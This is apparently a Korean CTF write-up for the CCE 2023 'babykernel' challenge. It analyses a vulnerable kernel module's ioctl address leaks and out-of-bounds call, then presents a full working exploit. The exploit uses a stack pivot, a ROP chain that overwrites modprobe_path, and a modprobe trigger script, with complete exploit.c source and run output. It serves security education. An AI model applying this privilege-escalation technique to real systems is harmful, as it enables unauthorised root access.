문제개요
Keywords : linux kernel module, privilege escalation, modprobe_path overwrite
File
$ tree .
.
├── Dockerfile
├── docker-compose.yml
└── share
├── bzImage
├── local_run.sh
├── pow.py
├── pow_client.py
├── rootfs.img.gz
├── server_run.sh
└── ynetd
1. Analysis
1.1. rootfs.img.gz
summary
- 주어진 압축 파일 내에 리눅스 커널(
share/bzImage
)과 파일시스템(rootfs.img.gz
) 존재
$ file rootfs.img.gz
rootfs.img.gz: gzip compressed data, from Unix, original size modulo 2^32 3715072
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.19.17 (h0r1n@VM) #1 SMP PREEMPT_DYNAMIC Thu May 18 00:44:59 KST 2023, RO-rootFS, swap_dev 0XA, Normal VGA
$ cat local_run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep \
-kernel bzImage \
-initrd rootfs.img.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
decompress
- 아래 명령어로 파일시스템 이미지를
rootfs.img.gz
를 decompress 가능
gzip -d rootfs.img.gz
mkdir img/
cd img/
sudo cpio -idmv < ../rootfs.img
decompress 결과
$ ls -l
합계 1056
-rw-rw-r-- 1 user user 8232 5월 22 16:42 babykernel.ko
drwxrwxr-x 2 user user 4096 6월 11 00:19 bin
drwxrwxr-x 3 user user 4096 6월 11 00:19 etc
-rw-rw-r-- 1 user user 13 6월 9 16:46 flag
lrwxrwxrwx 1 user user 11 6월 11 00:19 init -> bin/busybox
-rw-rw-r-- 1 user user 1048576 6월 9 16:47 rootfs.img.gz
drwxrwxr-x 2 user user 4096 6월 11 00:19 sbin
drwxrwxr-x 4 user user 4096 6월 11 00:19 usr
1.2. Concept && Vulnerability (babykernel.ko)
- decompress 된 파일시스템 내에
/babykernel.ko
커널 모듈이 존재 /babykernel.ko
는/dev/babykernel
이라는 디바이스를 생성하고, ioctl 요청을 받아 처리
__int64 __fastcall bk_ioctl(struct file *filp, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
_QWORD *heap2; // rax
unsigned __int64 size2; // rdx
__int64 *ops; // rbx
__int64 **heap1; // rsi
unsigned __int64 size; // rdx
_fentry__(filp, cmd);
copy_from_user(&user_input, v3, 24LL);
switch ( cmd )
{
case 0x1002u: // 0x1002 : module address leak
ops = &::ops[user_input.idx];
heap1 = (__int64 **)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 16LL);
*heap1 = ops;
size = user_input.size;
if ( size > 0x10 )
_copy_overflow(16LL, user_input.size);
else
copy_to_user(user_input.ptr, heap1, size);
break;
case 0x1003u: // 0x1003 : call handler
((void (*)(void))&::ops[user_input.idx])();
break;
case 0x1001u: // 0x1001 : commit_creds address leak
heap2 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 16LL);
*heap2 = &commit_creds;
size2 = user_input.size;
if ( size2 <= 0x10 )
copy_to_user(user_input.ptr, heap2, size2);
break;
}
return 1LL;
}
- 위 ioctl 함수는 3가지 취약점을 제공
cmd=0x1001
:commit_creds
address leakcommit_creds
함수의 주소를 유저 영역 메모리에 복사
cmd=0x1002
:babykernel.ko
module address leakbabykernel.ko
모듈 전역변수&ops[user_input.idx]
의 주소를 유저 영역 메모리에 복사
cmd=0x1003
: out-of-bound callbabykernel.ko
모듈 전역변수&ops
에서 원하는 인덱스에 있는 코드 주소 호출 가능 (&ops[user_input.idx])();
)user_input.idx
는 완전히 컨트롤 가능하고 0x1002 를 통해&ops
의 주소도 알고있으므로, 완전한 rip control 가능
1.3. Enabled mitigations
요약
SMEP / O
SMAP / X
KASLR / O
KPTI / O
KADR / O
SMEP, SMAP, KPTI, KASLR
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep \ # smep
-kernel bzImage \
-initrd $1 \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" # kaslr kpti
KADR (Kernel Address Display Restriction)
- KADR이 활성화되어있고,
/proc/kallsyms
의 읽기권한 자체도 제한
# /etc/init.d/rcS
........
echo 1 > /proc/sys/kernel/kptr_restrict
chmod 400 /proc/kallsyms
........
~ $ ls -l /proc/kallsyms
-r-------- 1 0 0 0 Mar 12 19:16 /proc/kallsyms
~ $ cat /proc/kallsyms
cat: can't open '/proc/kallsyms': Permission denied
2. Exploitation
2.1. 디버깅 환경 구축
(1) Root shell
- 일반 사용자(uid:1000)이 아닌 루트(uid:0) 권한 쉘을 실행하도록 패치
$ cat /etc/init.d/rcS
mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp && mount -t tmpfs tmpfs /tmp
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
chmod 400 /flag
insmod /babykernel.ko
chmod 666 /dev/babykernel
setsid /bin/cttyhack setuidgid 0 /bin/sh # <---- new
# setsid /bin/cttyhack setuidgid 1000 /bin/sh # <---- old
umount /proc
poweroff -d 1 -n -f
(2) Extract vmlinux
- bzImage 또는 vmlinuz에서 vmlinux 추출
# https://velog.io/@msh1307/Extract-vmlinux
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux
(3) Disable kaslr
- 디버깅을 위한 qemu 실행 시 kaslr 옵션 제거
- 기존
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
- kaslr 옵션 제거
-append "console=ttyS0 kpti=1 quiet panic=1" \
(4) qemu gdb-server option
- -s 옵션 사용 시 qemu에서
gdbserver
실행
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep \
-kernel bzImage \
-initrd rootfs.img.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
(5) gdb attach
- gdb remote attach로 커널 디버깅
$ gdb -q vmlinux
gdb-peda$ target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
......................................
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xffffffffa6ca278b in ?? ()
gdb-peda$ c
Continuing.
2.2. Memory leak
- 앞서 확인한 ioctl cmd
0x1001
,0x1002
을 활용하여 커널 메모리 주소 일부를 leak 가능
#define PWN_LEAK1 0x1001
#define PWN_LEAK2 0x1002
#define PWN_TRIGGER 0x1003
struct param_struct{
uint8_t *ptr;
uint64_t size;
uint64_t idx;
};
int main(){
int32_t fd = -1;
uint8_t buf[16] = {0, };
struct param_struct param = {0, };
fd = open("/dev/babykernel", 0);
if(fd < 0){
puts("open() error");
exit(-1);
}
memset(¶m, 0, sizeof(struct param_struct));
param.ptr = buf;
param.size = 0x10;
param.idx = 0;
ioctl(fd, PWN_LEAK1, ¶m);
write(1, param.ptr, 16);
memset(¶m, 0, sizeof(struct param_struct));
param.ptr = buf;
param.size = 0x10;
param.idx = 0;
ioctl(fd, PWN_LEAK2, ¶m);
write(1, param.ptr, 16);
close(fd);
}
~ # /kernel_addr_leak | xxd
00000000: f0c0 2fa5 ffff ffff 0000 0000 0000 0000 ../............. # &commit_creds
00000010: e0a4 20c0 ffff ffff 0000 0000 0000 0000 .. ............. # &ops
2.3. Stack pivoting
- Ioctl cmd
0x1003
을 활용한 Arbitrary address call -> ROP payload 실행으로 이어가기 위해 stack pivoting 필요 - 스택에 사용자의 데이터가 거의 없기 때문에 rsp lifting은 제한
- 가젯 확인 중 아래와 같은
xchg esp, eax
가젯을 발견 ->xchg esp, eax
실행 시esp
의 상위32bit는 0으로 초기화 되므로, 유저 영역에 메모리를 할당하여 stack pivoting 가능 (SMAP이 비활성화 되어있으므로 커널에서 유저 영역 메모리 접근 가능)
Stack pivoting gadget
gdb-peda$ x/2i 0xffffffff82ad7158
0xffffffff82ad7158: xchg esp,eax
0xffffffff82ad7159: ret
User space memory allocation for ROP Payload
stack = mmap((void *)(k_xchg_esp_eax_gadget & 0xfffff000) - 0x40000, (size_t)0x80000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
payload = (uint64_t *)(k_xchg_esp_eax_gadget & 0xffffffff);
*payload++ = (uint64_t *)k_pop_rbx_gadget;
*payload++ = (uint64_t *)k_modprobe_path;
.....................................................
Trigger arbitrary address call (ioctl cmd 0x1003)
memset(¶m, 0, sizeof(struct param_struct));
*((uint64_t *)¶m) = 0x4141414141414141;
*((uint64_t *)¶m + 1) = 0x4242424242424242;
param.idx = ((k_xchg_esp_eax_gadget - k_ops_base) >> 3) & 0xffffffffffffffff;
ioctl(fd, PWN_TRIGGER, ¶m);
2.4. Modprobe_path manipulation
- 익스플로잇 과정 최소화를 위해 상대적으로 간단한 modprobe_path overwrite을 활용하여 익스플로잇
- modprobe_path를 "/tmp/45"로 조작하는 rop payload를 작성하여 mmap된 메모리에 삽입
(1) modprobe_path[0:4] = "/tmp";
(2) modprobe_path[4:8] = "/45\0";
*payload++ = (uint64_t *)k_pop_rbx_gadget;
*payload++ = (uint64_t *)k_modprobe_path;
*payload++ = (uint64_t *)k_pop_rax_gadget;
*payload++ = (uint64_t *)0x706d742f; // "/tmp"
*payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
*payload++ = (uint64_t *)k_pop_rbx_gadget;
*payload++ = (uint64_t *)(k_modprobe_path + 4);
*payload++ = (uint64_t *)k_pop_rax_gadget;
*payload++ = (uint64_t *)0x35342f; // "/45"
*payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
2.5. Process continuation
- 커널 모드에서 사용자 모드로 돌아가는 과정을 rop payload로 작성하는 것은 상당히 번거로움
- 익스플로잇 과정 최소화를 위해, payload 상에서 사용자 영역으로 돌아가는 것이 아닌 ioctl을 정상적으로 끝내는 방향으로 payload 구성
- rop payload 상에서 rbp를 보존해뒀다가, 마지막에
mov rsp, rbp
를 수행해줄 경우, ioctl 부모함수의 stack frame을 가지고 정상적으로 리턴하도록 만들 수 있음
(3) Return to ioctl return address
*payload++ = (uint64_t *)k_mov_rsp_rbp_gadget;
2.6. Prepare modprobe handler script
- modprobe 트리거 및 핸들링을 위해
/tmp
내에 2가지 파일 작성
/tmp/45
: 알려지지 않은 시그니처의 실행 파일을 처리할 프로그램 (/flag
를/tmp/flag
에rwxrwxrwx
권한으로 복사)/tmp/trigger
:\xff\xff\xff\xff
라는 시그니처를 가지는 파일
void prepare_modprobe_exploit(){
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/45");
system("chmod +x /tmp/45");
system("echo -e '\xff\xff\xff\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");
}
2.7. Trigger modprobe
- ROP payload 실행(
modprobe_path
overwrite) 완료 ->/tmp/trigger
실행 ->/tmp/45
실행 - 이후 복사된
/tmp/flag
를 출력
void trigger_modprobe_exploit(){
system("/tmp/trigger 2> /dev/null");
system("cat /tmp/flag");
exit(0);
}
3. Exploit
3.1. exploit.c
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#define PWN_LEAK1 0x1001
#define PWN_LEAK2 0x1002
#define PWN_TRIGGER 0x1003
struct param_struct{
uint8_t *ptr;
uint64_t size;
uint64_t idx;
};
void prepare_modprobe_exploit(){
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/45");
system("chmod +x /tmp/45");
system("echo -e '\xff\xff\xff\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");
}
void trigger_modprobe_exploit(){
system("/tmp/trigger 2> /dev/null");
system("cat /tmp/flag");
exit(0);
}
int main(){
int32_t fd = -1;
uint8_t buf[16] = {0, };
struct param_struct param = {0, };
uint64_t *stack = NULL, *payload = NULL;
uint64_t k_ops_base = 0;
uint64_t k_commit_creds = 0;
uint64_t k_gadget_base = 0;
uint64_t k_xchg_esp_eax_gadget = 0;
uint64_t k_pop_rbx_gadget = 0;
uint64_t k_mov_rbx_eax_gadget = 0;
uint64_t k_modprobe_path = 0;
uint64_t k_pop_rax_gadget = 0;
uint64_t k_mov_rsp_rbp_gadget = 0;
fd = open("/dev/babykernel", 0);
if(fd < 0){
puts("open() error");
exit(-1);
}
prepare_modprobe_exploit();
memset(¶m, 0, sizeof(struct param_struct));
param.ptr = buf;
param.size = 0x10;
param.idx = 0;
ioctl(fd, PWN_LEAK1, ¶m);
k_commit_creds = *((uint64_t *)param.ptr);
k_gadget_base = k_commit_creds & 0xfffffffffff00000;
k_xchg_esp_eax_gadget = k_gadget_base + 0xd7158;
/*
(gdb) x/10i 0xffffffff89000000 + 0xd7158
0xffffffff890d7158: xchg %eax,%esp
0xffffffff890d7159: ret
*/
k_pop_rax_gadget = k_gadget_base + 0x1ae94c;
/*
(gdb) x/10i 0xffffffff89000000 + 0x1ae94c
0xffffffff891ae94c: pop %rax
0xffffffff891ae94d: ret
*/
k_pop_rbx_gadget = k_gadget_base + 0xaa5863;
/*
$ cat gadgets.txt | grep ff81 | grep ": pop rbx ; .*ret$"
0xffffffff81aa5863 : pop rbx ; imul edi, edi, -0x7d ; ret
*/
k_mov_rsp_rbp_gadget = k_gadget_base + 0xb5d1c;
/*
$ cat gadgets.txt | grep ff81 | grep ": mov rsp, rbp ;.*ret$"
0xffffffff810b5d1c : mov rsp, rbp ; pop rbp ; ret
*/
k_mov_rbx_eax_gadget = k_gadget_base + 0x4940e3;
/*
$ cat gadgets.txt | grep ff81 | grep "mov .word ptr \[r..\], [er].. ; .*ret$"
0xffffffff814940e3 : mov dword ptr [rbx], eax ; ret
*/
k_modprobe_path = k_gadget_base + 0x1a8b340;
/*
ffffffff8aa8b340 D modprobe_path
*/
memset(¶m, 0, sizeof(struct param_struct));
param.ptr = buf;
param.size = 0x10;
param.idx = 0;
ioctl(fd, PWN_LEAK2, ¶m);
k_ops_base = *((uint64_t *)param.ptr);
memset(¶m, 0, sizeof(struct param_struct));
*((uint64_t *)¶m) = 0x4141414141414141;
*((uint64_t *)¶m + 1) = 0x4242424242424242;
param.idx = ((k_xchg_esp_eax_gadget - k_ops_base) >> 3) & 0xffffffffffffffff;
stack = mmap((void *)(k_xchg_esp_eax_gadget & 0xfffff000) - 0x40000, (size_t)0x80000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
payload = (uint64_t *)(k_xchg_esp_eax_gadget & 0xffffffff);
*payload++ = (uint64_t *)k_pop_rbx_gadget;
*payload++ = (uint64_t *)k_modprobe_path;
*payload++ = (uint64_t *)k_pop_rax_gadget;
*payload++ = (uint64_t *)0x706d742f; // "/tmp"
*payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
*payload++ = (uint64_t *)k_pop_rbx_gadget;
*payload++ = (uint64_t *)(k_modprobe_path + 4);
*payload++ = (uint64_t *)k_pop_rax_gadget;
*payload++ = (uint64_t *)0x35342f; // "/45"
*payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
*payload++ = (uint64_t *)k_mov_rsp_rbp_gadget;
ioctl(fd, PWN_TRIGGER, ¶m);
close(fd);
trigger_modprobe_exploit();
}
3.2. compress
compress.sh
gcc -static -o exploit exploit.c -w
cp ./exploit ./img/
cd ./img/
sudo find . |sudo cpio -H newc -o > ../rootfs.img
gzip ../rootfs.img
3.3. Run
~ $ ls -l /tmp/
total 0
~ $ ls -l /flag /exploit
-rwxrwxr-x 1 0 0 915088 Mar 17 14:37 /exploit
-r-------- 1 0 0 13 Jun 9 2023 /flag
~ $ /exploit
cce2023{...}
~ $ ls -l /tmp/
total 12
-rwxr-xr-x 1 1000 1000 49 Mar 17 14:38 45
-rwxrwxrwx 1 0 0 13 Mar 17 14:38 flag
-rwxr-xr-x 1 1000 1000 5 Mar 17 14:38 trigger
'CTF > 2023' 카테고리의 다른 글
[CTF][2023] CCE 2023 Qual - babyweb_1 (0) | 2024.03.12 |
---|---|
[CTF][2023] Whitehat contest Qual - pwn1 (0) | 2024.03.02 |
[CTF][2023] SECCON Qual - selfcet (0) | 2024.03.02 |
[CTF][2023] CTFZone Qual 2023 - dead or alive 2 (0) | 2024.03.02 |